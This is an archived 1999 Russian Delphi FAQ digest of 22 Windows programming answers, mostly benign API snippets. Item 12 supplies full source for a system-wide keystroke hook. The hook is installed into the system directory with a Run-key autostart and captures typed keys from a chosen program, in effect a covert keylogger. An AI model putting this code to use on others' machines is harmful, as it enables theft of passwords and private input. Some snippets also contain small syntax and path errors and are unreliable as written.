Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Дайджест по эхоконференции ru.delphi.

eManual.ru - электронная документация




AKdTopic от 02.07.99

Дайджест по эхоконференции ru.delphi, включил в себя все то, что
показалось мне интересным на момент его составления.

Новую версию этого файла можно всегда
запросить с AKServer (2:5019/10.99),
указав в поле subj: "AKdTopic"

Cоставил Alexander Kramarenko (2:5019/10.99)


-------------------------------------------------------------------------------

Содержание :

1> Как минимизиpовать все запущеные окна ?
2> Как заставить появляться хинт, когда я захочy ?
3> Как пpогpамно вывести окно свойств экpана?
4> Как вывести окно свойств компьютеpа?
5> Как вывести окно "Выполнить" из виндов?
6> Как очистить коpзинy?
7> Как работать с плагинами ?
8> Как таскать окно за нужный мне элемент на нём?
9> Как перетаскивать форму за её любое место.
10> Как поместить иконку в Tray ?
11> Как получить информацию о загрузке процессора ?
12> Как отловить нажатия клавиш для всех процессов в системе?
13> Как вытащить VersionInfo из свойств проекта ?
14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?
15> Как послать некое сообщение всем формам ?
16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?
17> Как сделать имитацию ввода с клавиатуры для дос-программы ?
18> Как вызвать модальную форму и обеспечить возврат ее параметров ?
19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER?
20> Как вызвать браузер, который установлен в виндах по умолчанию ?
21> Как включать/выключать лампочки на numlock, capslock, etc... ?
22> С каким числовым форматом Delphi работает быстрее всего ?





-------------------------------------------------------------------------------

1> Как минимизиpовать все запущеные окна ?

/* Начало (MINIMIZE.DPR)
{$APPTYPE CONSOLE}
program Minimize;
uses Windows,Messages;
var Count:integer;

function EnumProc (WinHandle: HWnd; Param: LongInt): Boolean; stdcall;
begin
if (GetParent (WinHandle) = 0) and (not IsIconic (WinHandle)) and
(IsWindowVisible (WinHandle)) then begin
PostMessage (WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Inc(Count);
end;
EnumProc := TRUE;
end;

begin
Count:=0;
EnumWindows (@EnumProc, 0);
Writeln('Minimized:',Count,' windows');
end.
конец (MINIMIZE.DPR)*/

-------------------------------------------------------------------------------

2> Как заставить появляться хинт, когда я захочy ?

{Появление}
IF h<>nil H.ReleaseHandle; {если чей-то хинт yже был, то его погасить}
H:=THintWindow.Create(Окно-владелец хинта);
H.ActivateHint(H.CalcHintRect(...),'hint hint nint');
....
{UnПоявление :) - это возможно пpидется повесить на таймеp, котоpый бyдет
обнyляться пpи каждом новом появлении хинта}
IF h<>nil H.ReleaseHandle;

По-дpyгомy задача тоже pешаема, но очень плохо. (см исходник объекта
TApplication, он как pаз сабжами заведyет.

-------------------------------------------------------------------------------

3> Как пpогpамно вывести окно свойств экpана?

ShellExecute(Application.Handle, 'open', 'desk.cpl', nil, nil, sw_ShowNormal);

-------------------------------------------------------------------------------

4> Как вывести окно свойств компьютеpа?

ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,
sw_ShowNormal);

-------------------------------------------------------------------------------

5> Как вывести окно "Выполнить" из виндов?

Если из виндов, то нажать на кнопку "Пуск" и выбрать команду "Выполнить" ;-)

-------------------------------------------------------------------------------

6> Как очистить коpзинy?

Есть функция SHEmptyRecycleBin (в shell32.dll), но она не документирована (по
крайней мере в win32.hlp ее нет).

-------------------------------------------------------------------------------

7> Как работать с плагинами ?

Я сделал так - выбираю все DLL из каталога с программой, загружаю каждую и
пытаюсь найти в ней функцию (через API GetProcAddress) с заранее определенным
жестко именем (например что нибудь типа IsPluginForMyStuff). Если нашлась - DLL
считается моим плагином, если нет - выгрузить и забыть.

А набор вызываемых функций по идее одинаков у всех плагинов, и программа
(основная) в курсе какие именно функции она ищет в DLL. Если даже и не так, то
ничего не мешает тебе определить в плагине функцию наподобие GetFeatures,
возвращающую список строк-названий поддержанных плагином процедур.

Вот часть моего кода по работе с плагинами...

=================
...
type
// Процедурные типы для хранения ссылок на функции плагинов
TGetNProc=function:shortstring;
TGetSProc=function:integer;
TProcessProc=procedure(config:pointer; request:PRequest; var reply:PReply);
TConfigProc=procedure(defcfg:PSysConfig; var config:pointer);
TSaveLoadProc=procedure(inifile:pointer; var config:pointer);

// Информация об отдельном плагине
TPlugin=record
Name:shortstring; // Полное название
Filename:shortstring; // Имя файла
Handle:integer; // Хэндл загруженной DLL
CFGSize:integer; // Размер конфигурации в RAM
ProcessProc: TProcessProc; // Адрес процедуры обработки
ConfigProc: TConfigProc; // Адрес процедуры настройки
LoadCFG,SaveCFG:TSaveLoadProc; // Адреса процедур чтения/записи cfg
end;
PPlugin=^TPlugin;

// Список загруженных плагинов
TPlugins=class(TList);

...

var
Plugins:TPlugins; sr:TSearchRec; lib:integer;
pgetn:TGetNProc; pgets: TGetSProc; plugin:PPlugin;

...

// Читаем плагины и создаем их список.
Plugins:=TPlugins.Create;
if FindFirst('*.dll',faAnyFile,sr)<>0 then begin
ShowMessage('Не найдено подключаемых модулей.');
Close;
end;
repeat
lib:=LoadLibrary(PChar(sr.Name));
if lib<>0 then begin
@pgetn:=GetProcAddress(lib, 'GetPluginName');
if @pgetn=nil then FreeLibrary(lib) // Не плагин
else begin
New(plugin);
@pgets:=GetProcAddress(lib, 'GetCFGSize');
plugin.Name:=pgetn;
plugin.Filename:=sr.Name;
plugin.CFGSize:=pgets;
plugin.Handle:=lib;
plugin.ConfigProc:=GetProcAddress(lib, 'Configure');
plugin.ProcessProc:=GetProcAddress(lib, 'Process');
plugin.SaveCFG:=GetProcAddress(lib, 'SaveCFG');
plugin.LoadCFG:=GetProcAddress(lib, 'LoadCFG');
Plugins.Add(plugin);
end;
end;
until FindNext(sr)<>0;
FindClose(sr);
...

-------------------------------------------------------------------------------

8> Как таскать окно за нужный мне элемент на нём?

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
const
SC_DragMove = $F012; { a magic number }
begin
ReleaseCapture;
panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;

-------------------------------------------------------------------------------

9> Переиаскивание формы за любое её место.

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
if PtInRegion(rgn, Message.XPos, Message.YPos) then
Message.Result := HTCAPTION
else
Message.Result := HTNOWHERE;
end;


-------------------------------------------------------------------------------

10> Как поместить иконку в Tray ?

function TaskBarAddIcon( hWindow : THandle; ID : Cardinal;
ICON : hicon; CallbackMessage : Cardinal; Tip : String ) : Boolean;
var
NID : TNotifyIconData;
begin
FillChar( NID, SizeOf( TNotifyIconData ), 0 );
with NID do begin
cbSize := SizeOf( TNotifyIconData );
Wnd := hWindow;
uID := ID;
uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
uCallbackMessage := CallbackMessage;
hIcon := Icon;
if Length( Tip ) > 63 then SetLength( Tip, 63 );
StrPCopy( szTip, Tip );
end;
Result := Shell_NotifyIcon( NIM_ADD, @NID );
end;

-------------------------------------------------------------------------------

11> Как получить информацию о загрузке процессора ?

Читать из реестра HKEY_DYN_DATAPerfStatsStatData соответствующий ключ
Kernel CPUUsage.

-------------------------------------------------------------------------------

12> Как отловить нажатия клавиш для всех процессов в системе?

Setup.bat
@echo off
copy HookAgnt.dll %windir%system
copy kbdhook.exe %windir%system
start HookAgnt.reg
HookAgnt.reg
REGEDIT4

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"kbdhook"="kbdhook.exe"
KbdHook.dpr
program cwbhook;

uses Windows, Dialogs;

var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;

begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.
HookAgnt.dpr
library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports
KeyboardProc;

var
hFileMappingObject: THandle;
fInit: Boolean;

{----------------------------
| |
| DLL_PROCESS_DETACH |
| |
----------------------------}

procedure DLLMain(Reason: Integer);
begin

if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;

end;

{----------------------------
| |
| DLL_PROCESS_ATTACH |
| |
----------------------------}

begin
DLLProc := @DLLMain;

hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);

if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;

fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);

if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;

if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);

end.
KeyboardHook.pas
unit KeyboardHook;

interface

uses Windows;

{------------------------------------------
| |
| Глобальные переменные и константы |
| |
------------------------------------------}

const
PASSWORDSIZE = 16;

var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;

var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;

begin
lpszPassword := PChar(lpvMem);

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

lstrcat(g_szKeyword, szKeyName);

GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_'АДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE)
then
lstrcat(lpszPassword, szKeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;

Result := 0;
end

else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.

-+-----------------------------------------------------------------------------

Установлен автор ответа на вопрос.

Обратите внимание, что хук на события по всей системе должен располагаться в
DLL. Это условие необязательно, если Вы хотите отловить только те события,
которые попадают в Ваше приложение.

Обратите внимание на то, что для взаимодействия между процессами используется
файл, проецируемый в память. Дело в том, что хук вызывается в контексте
процесса, в котором это событие обрабатывается.

-------------------------------------------------------------------------------

13> Как вытащить VersionInfo из свойств проекта дабы ее потом использовать в
> окнах типа About (Label, StaticText, etc)?

function CurrentFileInfo(NameApp : string) : string;
var dump: DWORD;
size: integer;
buffer: PChar;
VersionPointer, TransBuffer: PChar;
Temp: integer;
CalcLangCharSet: string;
begin
size := GetFileVersionInfoSize(PChar(NameApp), dump);
buffer := StrAlloc(size+1);
try
GetFileVersionInfo(PChar(NameApp), 0, size, buffer);

VerQueryValue(buffer, 'VarFileInfoTranslation', pointer(TransBuffer),
dump);
if dump >= 4 then
begin
temp:=0;
StrLCopy(@temp, TransBuffer, 2);
CalcLangCharSet:=IntToHex(temp, 4);
StrLCopy(@temp, TransBuffer+2, 2);
CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
end;

VerQueryValue(buffer, pchar('StringFileInfo'+CalcLangCharSet+
''+'FileVersion'), pointer(VersionPointer), dump);
if (dump > 1) then
begin
SetLength(Result, dump);
StrLCopy(Pchar(Result), VersionPointer, dump);
end
else Result := '0.0.0.0';
finally
StrDispose(Buffer);
end;
end;

-------------------------------------------------------------------------------

14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?

TypInfo .GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil

Таким образом можно узнать наличие таковой published "прОперти".
А вот если это не поможет, то можно и "ломиком" поковыряться
посредством FieldAddress. Однако этот метод дает адрес полей,
которые перечисляются сразу после объявления класса как в unit'ых форм.
А вот ежели "прОперть" нигде не "засветилась" (published) то фиг
ты ее достанешь.
А модифицировать значение можно посредством прямой записи по
адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный
способы, перечисленные в unit'е TypInfo.

2AS: Модифицировать кучу объектов можно организовав цикл перебора
оных с получением в цикле PropertyInfo объекта и записи в объект
на основе PropInfo.

-------------------------------------------------------------------------------

15> Как послать некое сообщение всем формам ?

var
I: Integer;
M: TMessage;
...
with M do begin
Message := ...
...
end;
for I := 0 to Pred(Screen.FormCount) do begin
PostMessage( Forms[I].Handle, ... );
// Если надо и всем чилдам
Forms[I].Broadcast( M );
end;

-------------------------------------------------------------------------------

16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?

Делаешь текстовый файл с ресурсами, типа
--my.rc--
STRINGTABLE
{
00001, "My String #1"
00002, "My String #2"
}
Далее компилируешь его:
brcc32 my.rc
У тебя получится my.res.
Делаешь DLL:
--my.dpr--
library my;
{$R my.res}
begin
end.
Компилируешь Дельфиским компилятором:
dcc32 my.dpr
Получаешь, наконец-то свою my.dll

Теперь о том, как использовать.
В своей программе:
var
h : THandle;
S: array [0..255] of Char;
begin
h := LoadLibrary('MY.DLL');
if h <= 0 then ShowMessage('Bad Dll Load')
else
begin
SetLength(S, 512);
LoadString(h, 1, @S, 255);
FreeLibrary(h);
end;
end;

-------------------------------------------------------------------------------

17> Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для программы
> выполняющейся в дос-окне?

const
ExtendedKeys: set of Byte = [ // incomplete list
VK_INSERT, VK_DELETE, VK_HOME, VK_END, VK_PRIOR, VK_NEXT,
VK_LEFT, VK_UP, VK_RIGHT, VK_DOWN, VK_NUMLOCK
];

procedure SimulateKeyDown(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), flags, 0);
end;

procedure SimulateKeyUp(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), KEYEVENTF_KEYUP or flags, 0);
end;

procedure SimulateKeystroke(Key : byte);
var
flags: DWORD;
scancode: BYTE;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
scancode := MapVirtualKey(Key, 0);
keybd_event(Key,
scancode,
flags,
0);
keybd_event(Key,
scancode,
KEYEVENTF_KEYUP or flags,
0);
end;

-------------------------------------------------------------------------------

18> Как вызвать из работающего приложения модальную форму и обеспечить возврат
> параметров при его закрытии ?

procedure TMyDialogBox.OKButtonClick(Sender: TObject);
begin
ModalResult := mrOK;
end;
procedure TMyDialogBox.CancelButtonClick(Sender: TObject);
begin
ModalResult := mrCancel;
end;

Пример обработки результат ниже :

procedure TForm1.Button1Click(Sender: TObject);
begin
if MyDialogBox1.ShowModal = mrOK then
Beep;
end;

-------------------------------------------------------------------------------

19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER?

{$APPTYPE CONSOLE}
// индикатоp pесуpсов
program res;
function MyGetFreeSystemResources32(Id:integer):integer;
stdcall; external 'rsrc32' name '_MyGetFreeSystemResources32@4';
const
rSystem=0;
rGDI=1;
rUSER=2;
begin
writeln('free resources');
writeln('System:',MyGetFreeSystemResources32(rSystem),'%');
writeln('GDI:',MyGetFreeSystemResources32(rGDI),'%');
writeln('USER:',MyGetFreeSystemResources32(rUSER),'%');
end.

-------------------------------------------------------------------------------

20> Как вызвать браузер, который установлен в виндах по умолчанию ?

ShellExecute(0,'OPEN','HTTP://www.youraddress.com',NIL,NIL,0);

-------------------------------------------------------------------------------

21> Как включать/выключать лампочки на numlock, capslock, etc... ?

procedure SetNumLock(bState:Boolean);
var
KeyState : TKeyboardState;
begin
GetKeyboardState(KeyState);
if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or
( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then
// Simulate a key press
keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0);
// Simulate a key release
keybd_event( VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or
KEYEVENTF_KEYUP), 0);
end;

Заменяйте VK_NUMLOCK на все что душе угодно.

-------------------------------------------------------------------------------

22> С каким числовым форматом Delphi работает быстрее всего ?

Простой тест: под рукой прога для вычисления координат цвета
по спектру из 10000 точек, вычислений там прилично:

type time, sec
-------------------
single 2.20
double 3.63
real 4.28
extended 5.95

-------------------------------------------------------------------------------




  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте